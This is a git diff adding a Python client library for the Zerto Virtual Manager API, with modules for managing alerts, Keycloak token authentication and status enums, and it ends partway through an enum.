zCs}R<_Zaok(>N$l$AWoL%zh-^6&10x1z4)9RS*sb=L z-C(P~E|Pyg7sL$Tz=G~wvf~SV*!+HTv3vU2@b*k%V+6Ib4=Zmcu?t8xu_kPy*NnfdVV7oWI(Hk#C#!HdDzcspB z{P$hYgDs7%JAt+jFTH=M7(TNVIJ?u;|M5E?z4Q3y7wy~ERyN?TOS^xu6lmWLjBEr( zwgLxX#m{;_>4oT@D20b`?kB;`@Ui=|A0$e`*l&Wr4nFzmrf~B9>{g(cPrd*6R$!*m znc4~*Eq5NBelom0c4A}fL@|2u*~MabZYyxUA~^YU_F2!y)cNA%g+JUYhOce~-YkXM zwnM^3NO(N^q-SIJ=w|5XPD|Ivp^rkv!PHjEPfBfFAJ6=1rWok`=T4|=J2bcv8r%*| zZiFWHNQ3>Ym*2l!?3sG{=F@Y<2<&UR6xjEl=WbyB+rR|#j~%mvbH~Y_j`y8E;{3cb za(=@3`GgyAw1;8|QZ;glVT@w_MX~mvSU}R_*i2y)!{!(^uVRDcBb~u!8XK%eD3(Ok zD@spc7ZXr=0-G^xPGS?q<|sB;q%hmK5_K%VuLY1B;*UF!8~P<_MbE6}5CX4YtsA)+y!EM}Hg~~yaeoN?C6v6vT(ebkemo_jM z|D622q0c?^-Rb@AR$CBdqEi&>K6(in%V`)ntLc_(sA+I`S#`;By?*8V8};u7K#a0%UF!q69qGF#J z7AUqpF*&gh2@4bZ^e`c@4++DfeP(zw>{G$uZlB72MC{C1VG)raB4AOnsxe=!Dj5l! zsj1w9-_gpz)@B9=Ry1t+PTB`|n%)5hrk}=p&^&iK9FDzi;%NDb1ivEw=N{tlZIiYy zNn6Rk@54jy9V#^)Ed~0&^|~Al-vx;yyh}R&O4@fx-!6&l5`nb`SohE_nc5}Yj5xSU qI(A8Hm-Mg}SVtI+eC==E_K$w)AKmniz3csl>x85ATLKN+>VE-8#Ol2O literal 0 HcmV?d00001 diff --git a/zvml/__pycache__/zvml.cpython-313.pyc b/zvml/__pycache__/zvml.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..f728cc3ed19937c873a272c83e7a632af36412d8 GIT binary patch literal 5662 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 p$1aKOk{;Fq>j=Y{V#;{>!<(# literal 0 HcmV?d00001 diff --git a/zvml/alerts.py b/zvml/alerts.py new file mode 100644 index 0000000..3a94227 --- /dev/null +++ b/zvml/alerts.py @@ -0,0 +1,324 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Alerts: + def __init__(self, client): + self.client = client + + # Manage ZVM Alerts + def get_alerts(self, start_date=None, end_date=None, vpg_name=None, zorg_identifier=None, + site_identifier=None, level=None, entity=None, help_identifier=None, is_dismissed=None, + alert_identifier=None): + """ + Fetches alerts from the Zerto API with optional filters or a specific alert if `alert_identifier` is provided. + + :param start_date: The filter interval start date-time (string in date-time format). + :param end_date: The filter interval end date-time (string in date-time format). + :param vpg_name: The name of the VPG to filter alerts for. + :param zorg_identifier: The identifier of the ZORG. + :param site_identifier: The internal ZVM site identifier. + :param level: The alert level. + :param entity: The alert entity type. + :param help_identifier: The alert help identifier associated with the alert. + :param is_dismissed: True if alert was dismissed. + :param alert_identifier: The specific alert identifier to retrieve a single alert. + :return: List of alerts or a specific alert based on the provided filters. + """ + if alert_identifier: + alerts_uri = f"https://{self.client.zvm_address}/v1/alerts/{alert_identifier}" + else: + alerts_uri = f"https://{self.client.zvm_address}/v1/alerts" + + logging.info(f'Alerts.get_alerts(alert_identifier={alert_identifier}, start_date={start_date}, end_date={end_date}, ' + f'vpg_name={vpg_name}, zorg_identifier={zorg_identifier}, site_identifier={site_identifier}, ' + f'level={level}, entity={entity}, help_identifier={help_identifier}, is_dismissed={is_dismissed})') + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Building query parameters for general alerts retrieval + params = {} + if not alert_identifier: + if start_date: + params['startDate'] = start_date + if end_date: + params['endDate'] = end_date + if vpg_name: + # Get VPG identifier from name + vpg = self.client.vpgs.get_vpg_by_name(vpg_name) + if vpg: + params['vpgIdentifier'] = vpg.get('VpgIdentifier') + logging.info(f"Found VPG identifier {params['vpgIdentifier']} for VPG name {vpg_name}") + else: + logging.warning(f"VPG with name {vpg_name} not found") + return [] + if zorg_identifier: + params['zorgIdentifier'] = zorg_identifier + if site_identifier: + params['siteIdentifier'] = site_identifier + if level: + params['level'] = level + if entity: + params['entity'] = entity + if help_identifier: + params['helpIdentifier'] = help_identifier + if is_dismissed is not None: + params['isDismissed'] = str(is_dismissed).lower() + + try: + logging.info("Fetching alerts...") + response = requests.get(alerts_uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + alerts = response.json() + + if not alerts: + logging.warning("No alerts found.") + return [] + + return alerts + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def dismiss_alert(self, alert_identifier): + """ + Dismisses a specific alert by its identifier. + + :param alert_identifier: The identifier of the alert to be dismissed. + :return: Success message if the alert was dismissed, else an error message. + """ + logging.info(f'Alerts.dismiss_alert(alert_identifier={alert_identifier})') + + # Construct the URL for dismissing the alert + dismiss_uri = f"https://{self.client.zvm_address}/v1/alerts/{alert_identifier}/dismiss" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info(f"Attempting to dismiss alert with ID: {alert_identifier}") + response = requests.post(dismiss_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + + if response.status_code == 200: + logging.info(f"Alert {alert_identifier} successfully dismissed.") + return f"Alert {alert_identifier} dismissed successfully." + else: + logging.warning(f"Unexpected response code: {response.status_code}") + return f"Alert {alert_identifier} dismissal returned an unexpected status." + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def undismiss_alert(self, alert_identifier): + """ + Undismisses a specific alert by its identifier. + + :param alert_identifier: The identifier of the alert to be dismissed. + :return: Success message if the alert was dismissed, else an error message. + """ + logging.info(f'Alerts.undismiss_alert(alert_identifier={alert_identifier})') + + # Construct the URL for dismissing the alert + undismiss_uri = f"https://{self.client.zvm_address}/v1/alerts/{alert_identifier}/undismiss" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info(f"Attempting to undismiss alert with ID: {alert_identifier}") + response = requests.post(undismiss_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + + if response.status_code == 200: + logging.info(f"Alert {alert_identifier} successfully undismissed.") + return f"Alert {alert_identifier} undismissed successfully." + else: + logging.warning(f"Unexpected response code: {response.status_code}") + return f"Alert {alert_identifier} undismissal returned an unexpected status." + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_alert_levels(self): + """ + Fetches the available alert levels from the Zerto API. + + :return: List of alert levels or an error message if the request fails. + """ + logging.info('Alerts.get_alert_levels()') + + # Construct the URL for fetching alert levels + alert_levels_uri = f"https://{self.client.zvm_address}/v1/alerts/levels" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching available alert levels...") + response = requests.get(alert_levels_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + alert_levels = response.json() + + if not alert_levels: + logging.warning("No alert levels found.") + return [] + + return alert_levels + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_alert_entities(self): + """ + Fetches the available alert entities from the Zerto API. + + :return: List of alert entities or an error message if the request fails. + """ + logging.info('Alerts.get_alert_entities()') + + # Construct the URL for fetching alert entities + alert_entities_uri = f"https://{self.client.zvm_address}/v1/alerts/entities" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching available alert entities...") + response = requests.get(alert_entities_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + alert_entities = response.json() + + if not alert_entities: + logging.warning("No alert entities found.") + return [] + + return alert_entities + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_alert_help_identifiers(self): + """ + Fetches the available alert help identifiers from the Zerto API. + + :return: List of alert help identifiers or an error message if the request fails. + """ + logging.info('Alerts.get_alert_help_identifiers()') + + # Construct the URL for fetching alert help identifiers + help_identifiers_uri = f"https://{self.client.zvm_address}/v1/alerts/helpidentifiers" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching available alert help identifiers...") + response = requests.get(help_identifiers_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + help_identifiers = response.json() + + if not help_identifiers: + logging.warning("No alert help identifiers found.") + return [] + + return help_identifiers + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/client.py b/zvml/client.py new file mode 100644 index 0000000..7bbbde5 --- /dev/null +++ b/zvml/client.py @@ -0,0 +1,109 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import ssl + +# Configure logging with timestamp format +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + datefmt='%Y-%m-%d %H:%M:%S' +) + +# Import all necessary classes +from .tasks import Tasks +from .vpgs import VPGs +from .vms import VMs +from .failover import Failover +from .alerts import Alerts +from .peersites import PeerSites +from .events import Events +from .repositories import Repositories +from .sessions import Sessions +from .recoveryscripts import RecoveryScripts +from .encryptiondetection import EncryptionDetection +from .zorgs import Zorgs +from .localsite import LocalSite +from .datastores import Datastores +from .vras import VRA +from .recovery_reports import RecoveryReports +from .license import License +from .service_profiles import ServiceProfiles +from .server_date_time import ServerDateTime +from .virtualization_sites import VirtualizationSites +from .volumes import Volumes +from .tweaks import Tweaks + +# Disable SSL warnings for self-signed certificates +context = ssl._create_unverified_context() + +class ZVMLClient: + def __init__(self, zvm_address, client_id, client_secret, verify_certificate=True): + self.zvm_address = zvm_address + self.client_id = client_id + self.client_secret = client_secret + self.verify_certificate = verify_certificate + self.token = None + self.token_expiry = None + self.__get_keycloak_token() + self.tasks = Tasks(self) + self.vpgs = VPGs(self) + self.vms = VMs(self) + self.failover = Failover(self) + self.alerts = Alerts(self) + self.peersites = PeerSites(self) + self.events = Events(self) + self.repositories = Repositories(self) + self.sessions = Sessions(self) + self.recoveryscripts = RecoveryScripts(self) + self.zorgs = Zorgs(self) + self.encryptiondetection = EncryptionDetection(self) + self.localsite = LocalSite(self.zvm_address, self.token) + self.datastores = Datastores(self) + self.vras = VRA(self) + self.recovery_reports = RecoveryReports(self) + self.license = License(self) + self.service_profiles = ServiceProfiles(self) + self.server_date_time = ServerDateTime(self) + self.virtualization_sites = VirtualizationSites(self) + self.volumes = Volumes(self) + self.tweaks = Tweaks(self) + + def __get_keycloak_token(self): + logging.debug(f'__get_keycloak_token(zvm_address={self.zvm_address})') + keycloak_uri = f"https://{self.zvm_address}/auth/realms/zerto/protocol/openid-connect/token" + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + body = { + 'client_id': self.client_id, + 'client_secret': self.client_secret, + 'grant_type': 'client_credentials', + 'expires_in': 3600 # Request token expiration in seconds (e.g., 1 hour) + } + + try: + logging.info("Connecting to Keycloak to get token...") + response = requests.post(keycloak_uri, headers=headers, data=body, verify=self.verify_certificate) + response.raise_for_status() + token_data = response.json() + self.token = token_data.get('access_token') + self.token_expiry = token_data.get('expires_in') # Store expiration time + logging.info(f"Successfully retrieved token.") + logging.info(f"Token expiration details:") + logging.info(f"- Expires in: {self.token_expiry} seconds") + logging.info(f"- Requested expiration: {body['expires_in']} seconds") + if self.token_expiry != body['expires_in']: + logging.warning(f"Server provided different expiration time than requested!") + return self.token + except requests.exceptions.RequestException as e: + logging.error(f"Error retrieving token: {e}") + raise \ No newline at end of file diff --git a/zvml/common.py b/zvml/common.py new file mode 100644 index 0000000..f30f60e --- /dev/null +++ b/zvml/common.py @@ -0,0 +1,599 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +from enum import Enum + +class ZertoTaskTypes(Enum): + CreateProtectionGroup = 0 + RemoveProtectionGroup = 1 + FailOver = 2 + FailOverTest = 3 + StopFailOverTest = 4 + Move = 5 + GetCheckpointList = 6 + ProtectVM = 7 + UnprotectVM = 8 + AddVMToProtectionGroup = 9 + RemoveVMFromProtectionGroup = 10 + InstallVra = 11 + UninstallVra = 12 + GetVMSettings = 13 + UpdateProtectionGroup = 14 + InsertTaggedCP = 15 + WaitForCP = 16 + HandleMirrorPromotion = 17 + ActivateAllMirrors = 18 + LogCollection = 19 + ClearCheckpoints = 20 + ForceReconfigurationOfNewVM = 21 + ClearSite = 22 + ForceRemoveProtectionGroup = 23 + ForceUpdateProtectionGroup = 24 + ForceKillProtectionGroup = 25 + PrePostScript = 26 + InitFullSync = 27 + Pair = 28 + Unpair = 29 + AddPeerVraInfo = 30 + RemovePeerVraInfo = 31 + InstallCloudConnector = 32 + UninstallCloudConnector = 33 + HandleFirstSyncDone = 34 + Clone = 35 + MoveBeforeCommit = 36 + MoveRollback = 37 + MoveCommit = 38 + UpgradeVRA = 39 + MaintainHost = 40 + NotSupportedInThisVersion = 41 + MoveProtectionGroupToManualOperationNeeded = 42 + FailoverBeforeCommit = 43 + FailoverCommit = 44 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoTaskStates(Enum): + FirstUnusedValue = 0 + InProgress = 1 + WaitingForUserInput = 2 + Paused = 3 + Failed = 4 + Stopped = 5 + Completed = 6 + Cancelling = 7 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoVPGStatus(Enum): + Initializing = 0 + MeetingSLA = 1 + NotMeetingSLA = 2 + HistoryNotMeetingSLA = 3 + RpoNotMeetingSLA = 4 + FailingOver = 5 + Moving = 6 + Deleting = 7 + Recovered = 8 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoVPGSubstatus(Enum): + NONE = 0 # Using NONE instead of None as None is a Python keyword + InitialSync = 1 + Creating = 2 + VolumeInitialSync = 3 + Sync = 4 + RecoveryPossible = 5 + DeltaSync = 6 + NeedsConfiguration = 7 + Error = 8 + EmptyProtectionGroup = 9 + DisconnectedFromPeerNoRecoveryPoints = 10 + FullSync = 11 + VolumeDeltaSync = 12 + VolumeFullSync = 13 + FailingOverCommitting = 14 + FailingOverBeforeCommit = 15 + FailingOverRollingBack = 16 + Promoting = 17 + MovingCommitting = 18 + MovingBeforeCommit = 19 + MovingRollingBack = 20 + Deleting = 21 + PendingRemove = 22 + BitmapSync = 23 + DisconnectedFromPeer = 24 + ReplicationPausedUserInitiated = 25 + ReplicationPausedSystemInitiated = 26 + RecoveryStorageProfileError = 27 + Backup = 28 + RollingBack = 29 + RecoveryStorageError = 30 + JournalStorageError = 31 + VmNotProtectedError = 32 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoProtectedSiteType(Enum): + VCVpg = 0 + VCvApp = 1 + VCDvApp = 2 + AWS = 3 + HyperV = 4 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoRecoverySiteType(Enum): + VCVpg = 0 + VCvApp = 1 + VCDvApp = 2 + AWS = 3 + HyperV = 4 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoVPGPriority(Enum): + Low = 0 + Medium = 1 + High = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVRAStatus(Enum): + Installed = 0 + UnsupportedEsxVersion = 1 + NotInstalled = 2 + Installing = 3 + Removing = 4 + InstallationError = 5 + HostPasswordChanged = 6 + UpdatingIpSettings = 7 + DuringChangeHost = 8 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoPairingStatus(Enum): + Paired = 0 + Pairing = 1 + Unpaired = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoAlertLevel(Enum): + Warning = 0 + Error = 1 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoAlertEntity(Enum): + Zvm = 0 + Vra = 1 + Vpg = 2 + CloudConnector = 3 + Storage = 4 + License = 5 + Zcm = 6 + FileRecoveryComponent = 7 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoAlertHelpIdentifier(Enum): + AWS0001 = 0 + BCK0001 = 1 + BCK0002 = 2 + BCK0005 = 3 + BCK0006 = 4 + BCK0007 = 5 + LIC0001 = 6 + LIC0002 = 7 + LIC0003 = 8 + LIC0004 = 9 + LIC0005 = 10 + LIC0006 = 11 + LIC0007 = 12 + LIC0008 = 13 + STR0001 = 14 + STR0002 = 15 + STR0004 = 16 + VCD0001 = 17 + VCD0002 = 18 + VCD0003 = 19 + VCD0004 = 20 + VCD0005 = 21 + VCD0006 = 22 + VCD0007 = 23 + VCD0010 = 24 + VCD0014 = 25 + VCD0015 = 26 + VCD0016 = 27 + VCD0017 = 28 + VCD0018 = 29 + VCD0020 = 30 + VCD0021 = 31 + VPG0003 = 32 + VPG0004 = 33 + VPG0005 = 34 + VPG0006 = 35 + VPG0007 = 36 + VPG0008 = 37 + VPG0009 = 38 + VPG0010 = 39 + VPG0011 = 40 + VPG0012 = 41 + VPG0014 = 42 + VPG0015 = 43 + VPG0016 = 44 + VPG0017 = 45 + VPG0018 = 46 + VPG0019 = 47 + VPG0020 = 48 + VPG0021 = 49 + VPG0022 = 50 + VPG0023 = 51 + VPG0024 = 52 + VPG0025 = 53 + VPG0026 = 54 + VPG0027 = 55 + VPG0028 = 56 + VPG0035 = 57 + VPG0036 = 58 + VPG0037 = 59 + VPG0038 = 60 + VPG0039 = 61 + VPG0040 = 62 + VPG0041 = 63 + VPG0042 = 64 + VPG0043 = 65 + VPG0044 = 66 + VPG0045 = 67 + VPG0046 = 68 + VPG0047 = 69 + VPG0048 = 70 + VRA0001 = 71 + VRA0002 = 72 + VRA0003 = 73 + VRA0004 = 74 + VRA0005 = 75 + VRA0006 = 76 + VRA0007 = 77 + VRA0008 = 78 + VRA0009 = 79 + VRA0010 = 80 + VRA0011 = 81 + VRA0012 = 82 + VRA0013 = 83 + VRA0014 = 84 + VRA0015 = 85 + VRA0016 = 86 + VRA0017 = 87 + VRA0018 = 88 + VRA0019 = 89 + VRA0020 = 90 + VRA0021 = 91 + VRA0022 = 92 + VRA0023 = 93 + VRA0024 = 94 + VRA0025 = 95 + VRA0026 = 96 + VRA0027 = 97 + VRA0028 = 98 + VRA0029 = 99 + VRA0030 = 100 + VRA0032 = 101 + VRA0035 = 102 + VRA0036 = 103 + VRA0037 = 104 + VRA0038 = 105 + VRA0039 = 106 + VRA0040 = 107 + VRA0049 = 108 + VRA0050 = 109 + VRA0051 = 110 + VRA0052 = 111 + VRA0053 = 112 + VRA0054 = 113 + VRA0055 = 114 + ZCC0001 = 115 + ZCC0002 = 116 + ZCC0003 = 117 + ZCM0001 = 118 + ZVM0001 = 119 + ZVM0002 = 120 + ZVM0003 = 121 + ZVM0004 = 122 + ZVM0005 = 123 + ZVM0006 = 124 + ZVM0007 = 125 + ZVM0008 = 126 + ZVM0009 = 127 + ZVM0010 = 128 + ZVM0011 = 129 + ZVM0012 = 130 + ZVM0013 = 131 + ZVM0014 = 132 + ZVM0015 = 133 + FLR0001 = 134 + Unknown = 135 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoEventType(Enum): + Unknown = 0 + CreateProtectionGroup = 1 + RemoveProtectionGroup = 2 + FailOver = 3 + FailOverTest = 4 + StopFailOverTest = 5 + Move = 6 + ProtectVM = 7 + UnprotectVM = 8 + InstallVra = 9 + UninstallVra = 10 + UpdateProtectionGroup = 11 + InsertTaggedCP = 12 + HandleMirrorPromotion = 13 + ActivateAllMirrors = 14 + LogCollection = 15 + ForceReconfigurationOfNewVM = 16 + ClearSite = 17 + ForceRemoveProtectionGroup = 18 + ForceUpdateProtectionGroup = 19 + ForceKillProtectionGroup = 20 + PrePostScript = 21 + InitFullSync = 22 + Pair = 23 + Unpair = 24 + InstallCloudConnector = 25 + UninstallCloudConnector = 26 + RedeployCloudConnector = 27 + ScriptExecutionFailure = 28 + SetAdvancedSiteSettings = 29 + Clone = 30 + KeepDisk = 31 + FailoverBeforeCommit = 32 + FailoverCommit = 33 + FailoverRollback = 34 + MoveBeforeCommit = 35 + MoveRollback = 36 + MoveCommit = 37 + MaintainHost = 38 + UpgradeVra = 39 + MoveProtectionGroupToManualOperationNeeded = 40 + ChangeVraIpSettings = 41 + PauseProtectionGroup = 42 + ResumeProtectionGroup = 43 + UpgradeZVM = 44 + BulkUpgradeVras = 45 + BulkUninstallVras = 46 + AlertTurnedOn = 47 